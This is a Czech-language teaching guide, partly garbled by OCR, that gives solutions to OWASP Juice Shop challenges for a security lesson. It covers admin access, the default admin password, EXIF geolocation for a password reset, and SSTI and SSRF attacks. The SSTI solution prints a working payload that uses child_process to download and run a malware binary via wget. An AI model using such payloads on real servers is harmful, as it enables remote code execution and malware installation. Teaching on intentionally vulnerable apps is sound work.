gb.svg ¥(13, 144, 87, 152, 139, 144, 83, 138) + 12..toString(36).tolowerCase()) ? {
us.svg consumed: 1

» ¢ cdnjs.cloudflare.com
» (O fonts.googleapis.com

3.

}oronull

ae.n.forRoot([{
path: "administration”,
component: U

o
path: "about”,
component: D1

path: "basket",
component: nn

Pii pfechodu na http://juiceshop.local/#/administration se zobrazi chyba 403 Forbidden, pokud

¢lovek neni prihlaseny.
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4. Pokud jste se prihlasili jako administrator v challenge SQL Injection, pfipadné¢ Password
Strength nize, tak mizete strdnku prohlizet. V momentu ptistupu na stranku se oznaci challenge

za splnénou.

2.17 Challenge Exposed Metrics
Najdéte endpoint URL (koncovy bod), ktery slouzi k ziskavani dat o pouzivani oblibenym
monitorovacim systémem. Monitoring software se jmenuje Prometheus a jeho dokumentace bude

napomocna. Tyto informace jsou na strance tutorialu k monitoringovému nastroji Prometheus:

e https://prometheus.io/docs/introduction/first_steps

Casova alokace: 5 minut
Reseni:

1. Piectéte si stranky https://prometheus.io/docs/introduction/first_steps

2. MEli byste si vSimnout nékolika zminek o endpointu /metrics, kterou Prometheus zmituje, napf.
"Prometheus oc¢ekava, ze metriky budou k dispozici u cilii na cesté /metrics."

3. Navstivte stranku http://juiceshop.local/metrics, kde si mizete prohlédnout skute¢né metriky

Prometheus pro Juice Shop a tim vyfesit tento ukol.
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2.18 Challenge Password Strength

Pokud jste se rozhodli nepouzivat SQL Injection, mohli jste tento tikol jiz vytesit spolu s ptihlaSenim
pomoci uzivatelského uctu spravce (admin). Email spravce najdete v rdmci hodnoceni produktd. Tuto
vyzvu lze vytesit pouze v ptipad€, ze pouzijete ptivodni heslo spravce. Pokud jste heslo dfive zménili,

nezoufejte: Plivodni heslo bude vzdy akceptovédno, abyste méli jistotu, Ze tuto vyzvu vyftesite.

e Hadani hesla je jeden ze zplisobu, které mohou fungovat.
e Pokud jste ziskali hash hesla spravce, mizete se pokusit zattocit na n¢j.
e V piipad¢, ze pouzivate néjaky hackersky nastroj, mizete se také pustit do utoku hrubou silou

pomoci obecného seznamu hesel.
Casova alokace: 5 minut
ReSeni:

1. Jitna stranku http://juiceshop.local/#/login

2. zacit hadat hesla k uzivateli s emailem admin@juice-sh.op

3. spravné heslo je admin123
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2.19 Challenge Meta Geo Stalking

Zjistéte odpovéd’ na Johnovu bezpecnostni otdzku tak, Ze se podivate na jeho nahravku na fotosténu
(Photo Wall), a pouzijte ji k obnoveni jeho hesla pomoci mechanismu Zapomenutého hesla. Pro

investigaci snimku pouZzijte nastroj exiftool na ziskani souradnic mista vyfoceni.
Casova alokace: 5 minut
Reseni:

1. Jdéte na stranku http://juiceshop.local/#/photo-wall — zde stahnete fotku uzivatele jOhNny.

2. Zkontrolujte metadata fotografie. Muzete pouzit rtizné online nastroje, naptiklad

http://exif.regex.info/exif.cgi nebo nastroj exiftool.

3. Pii prohlizeni metadat uvidite souradnice mista, kde byla fotografie pofizena. Soufadnice jsou
36.958717N 84.348217W

4. Vyhledejte tyto souradnice ve sluzbé Google a zjistéte, ve kterém lese byla fotografie potizena.
Je vidét, ze na té€chto sourfadnicich se nachazi Narodni les Daniel Boone.

5. Prejdéte na ptihlaSovaci stranku a kliknéte na moznost Forgot your password?.

6. Vyplite adresu john@juice-sh.op jako e-mail aDaniel Boone National Forest jako
odpovéd’ na bezpe¢nostni otazku.

7. Zvolte nové heslo a kliknéte na Change (Zm¢hnit).
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2.20 Challenge Weird Crypto Missing Encoding
Pro splnéni tohoto tikolu musite urcit kryptograficky algoritmus (nebo kryptografickou knihovnu),

ktery:

e bud’ by se nem¢l pouzivat viibec nebo
e je pro dany pozadavek $patnou volbou nebo

® je pouzity nezabezpeCenym zpuisobem.

Pomoci formulafe Nazory zakaznikli miizete zaslat zpétnou vazbu tykajici se zneuzitého algoritmu nebo

knihovny. K dispozici je pét moznych odpovéedi a k vyfeseni tkolu staci urcit pouze jednu z nich.
Casova alokace: 5 minut
Reseni:

1. Jitna stranku http://juiceshop.local/#/contact

2. Poslat feedback s nékterym ze slov md5, base64 nebo dalsi algoritmy pouzité a nalezené v ramci

hledani chyb na webu.
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2.21 Challenge SSTi

Posledné dvé challenge jsou jenom na demonstraci lektora pro typ utoku SSTi (Injection) a SSRF.

Neptedpokladame, Ze studenti budou védet tyto utoky pfipravit a vykonat na Juice Shop server.

V tomto tkolu je tieba zneuzit funkei SSTi (Server-side Template Injection) a “infikovat" server

specialné vytvorenym "malwarem".

“Juicy malware” najdete pomoci velmi zfejmého vyhledavani v Googlu nebo tak, Ze narazite na velmi

$patn¢ umisténou karanténni slozku s potfebnymi adresami URL.
Klicem k vyfeSeni tohoto problému je piimét server ke stazeni a spusténi malwaru.

Pti feseni tohoto ukolu nemusite malware nijak zpétn¢ analyzovat. To bude nutné pozd¢ji k vyieseni

challenge SSRF.

Template injection (injektaz Sablony) na strané serveru nastava, kdyz je uzivatelsky vstup nebezpecné
vioZen do Sablony na strané serveru, coz umoziuje uzivatelum injektovat direktivy sablony. Pomoci
Skodlivych smérnic Sablony miize byt utocnik schopen spustit libovolny kod a prevzit plnou kontrolu nad

webovym serverem.

Zavaznost tohoto problému se lisi v zavislosti na typu pouZitého enginu Sablony. Zneuziti Sablonovych
enginii se pohybuje od trivialniho az po témeér nemozné. Pri pokusu o vytvoreni exploitu je tieba

postupovat podle nasledujicich krokui:

1. Urcete typ pouzitého Sablonovaciho stroje.

2. Projdeéte si jeho dokumentaci a zjistéte zakladni syntaxi, bezpecnostni aspekty a vestavené
metody a proménné.

3. Prozkoumejte prostiedi Sablony a zmapujte povrch utoku.

4. Zkontrolujte kazdy vystaveny objekt a metodu.

5. Zranitelnosti typu template injection mohou byt velmi zavazné a mohou vést k uplnému ohrozenit
dat a funkci aplikace a casto i serveru, ktery aplikaci hostuje. Server miize byt také mozné pouzit
jako platformu pro dalsi utoky na jiné systémy. Na druhou stranu nékteré zranitelnosti typu

template injection nemusi predstavovat zadné vyznamné bezpecnostni riziko.
Casova alokace: 10 minut

Reseni:
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Proved'te zcela zfejmé vyhleddvani S$tavnatého malwaru ve sluzbé Google a najdéte
https://github.com/J12934/juicy-malware.
Vasim cilem je pomoci utoku typu RCE (remote code execution) pfimét server ke stazeni a
spusténi verze malwaru pro serverovy operacni systém, takze v Linuxu mozna budete chtit
spustit néco jako
a. wget -0 malware https://github.com/juice-shop/juicy-
malware/blob/master/juicy_malware_linux_amd_64?raw=true
&& chmod +x malware && ./malware

Utok povedeme na strance http:/juiceshop.local/profile, jelikoZ to neni stranka Angular. Tato

stranka je napsana pomoci Pugu, coz je shodou okolnosti Sablonovaci engine, a proto se
dokonale hodi pro utok typu SSTi.

Nastavte uzivatelské jméno na 1+1 a kliknéte na tlacitko Nastavit uzivatelské jméno. Vase
uzivatelské jméno se bude zobrazovat pravé jako 1+1 pod profilovym obrazkem.

Vyzkouseni template injection do Pug — nastavte Uzivatelské jméno na #{1+1} a kliknéte na
Nastavit uzivatelské jméno. Vase uzivatelské jméno se nyni bude zobrazovat jako 2 pod
profilovym obrazkem!

Vytvoite uzite¢né zatizeni, které zneuZzije nedostateCné zapouzdieni objektu global.process
jazyka JavaScript k dynamickému nacteni knihovny, ktera vam umozni spustit na serveru
proces, ktery nasledné stahne a spusti Skodlivy software.

Payload mtze vypadat takto:

a. #{global.process.mainModule.require('child_process').exec
('wget -0 malware https://github.com/juice-shop/juicy-
malware/blob/master/juicy_malware_linux_amd_64?raw=true
&& chmod +x malware && ./malware')}.

Odeslete to jako Uzivatelské jméno a (na linuxovém serveru) by ukol mél byt oznacen jako

vyfeseny.
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2.22 Challenge SSRF

Tento kol je ndro¢ny a slouzi jen na ukazku atoku typu SSRF.
Popis challenge:

Tato vyzva Server-side Request Forgery se vrati k malwaru, ktery jste pouzili pfi infikovani serveru

malwarem zneuZzitim spusténi libovolného piikazu.

e Pouziti ¢ehokoli, co najdete pfimo uvnitt malwaru, vam nebude k ni¢emu.
e Aby se to pocitalo jako utok SSRF, musite pfimét server Juice Shop, aby napadl sam sebe.
e Nesnazte se najit zdrojovy kod malwaru na GitHubu. Misto toho jej rozeberte pomoci

klasickych technik reverzniho inzenyrstvi.

Pti utoku SSRF (Server-Side Request Forgery) miize Gtocnik zneuzit funkce serveru ke ¢teni nebo
aktualizaci internich zdrojii. Uto¢nik mize poskytnout nebo upravit adresu URL, kterou kod béZici na
serveru piecte nebo na ni odesle data, a peclivym vybérem adres URL miize byt uto¢nik schopen Cist
konfiguraci serveru, napiiklad metadata AWS, pfipojit se k internim sluzbam, jako jsou databaze
S povolenym http, nebo provadét pozadavky na odeslani smérem k internim sluzbam, které nemaji byt

vystaveny.

Casova alokace: 10 minut
Reseni:

1. Podobné jako v pfipadé vyzvy SSTi se zranitelné misto pro tuto vyzvu nachdzi na strance
http://juiceshop.local/profile.

2. Jedinym slibnym vstupnim polem pro utok SSRF je adresa URL Gravataru. Oteviete
Vv prohlizeci nastroj DevTools a sledujte kartu Network.

3. Do pole Gravtar URL zadejte libovolnou adresu URL (napft. https://placekitten.com/100/100) a
klepnéte na tlac¢itko Link Gravatar. Uvidite, Ze se zobrazi pozadavek
http://juiceshop.local/profile/image/url se zvolenym https://placekitten.com/100/100 jako
parametrem imageUrl.

4. Zjistite vsSak, ze =z prohlizeCe neodchazi zadny pozadavek HTTP na adresu
https://placekitten.com/100/100. Vzhledem k tomu, Ze obrazek byl nacten a pfitazen k vasemu

profilu, musel jej stdhnout server Juice Shop.
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User Profile - =S L

X Headers Pre

Cache-Control:

Connection: keep-2
Content-Length: 50
Content-Type: application/x-ww-form-urlencoded

Cookie: 1anguage-en; cookieconsent_status-dismiss; io-gyqShb¥Xsskey

Foe Upioac [[EETESENERERIR Keine ausgewahi R sl 6 ' 15 Im12QN@aXZ

IDAEMDA1LCI1cGR

Upload Picture

Origin: http:/

Referer: http:
Upgrade-Insecure-Requests: 1

User-Agent: Hozilla/s

THL, like Gecko) Chr

v Form Data

imageUrt: https://placekitten. cos/100/100

K vyteseni tohoto tkolu je tieba najit tajnou adresu URL ukrytou v "juicy malwaru" a simulovat
s ni samoucelny utok SSRF.
Dopliikové kroky:

a. Pouzijte sviij oblibeny dekompilator (dekompilatory), abyste zjistili, co se déje uvnitr

malwarového programu...

b. ...nebo spustite malware a zaroven tunelujte veskery jeho provoz pres proxy server.
V kazdém piipad¢ byste meli byt schopni identifikovat jim volanou adresu URL
http://juiceshop.local/solve/challenges/server-side?key=tRy H4rd3r_nOthing_iS_Imp0ssibl3.
Piimé navstéva této adresy URL nic nezplisobi, protoze musi byt volana prostfednictvim pole
Gravatar Link, které bylo pravdépodobné zranitelné vuci SSRF.
Vlozte adresu URL a kliknéte na tlacitko Link Gravatar, abyste obdrzeli ocekavané oznameni

0 vyfesSeni vyzvy!
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Shrnuti a zavér

Uciteli je doporuceno projit si challenges, které jsme sepsali vySe a vybrat ty, které budou dle jeho

uvazeni vhodné na uceni studentt.

Studenti by méli ziskat z lekce pfedstavu o nejvice zndmych chybach v ramci seznamu OWASP TOP

10 a prakticky si zkusit tyto utoky na zranitelnou aplikaci OWASP Juice Shop.
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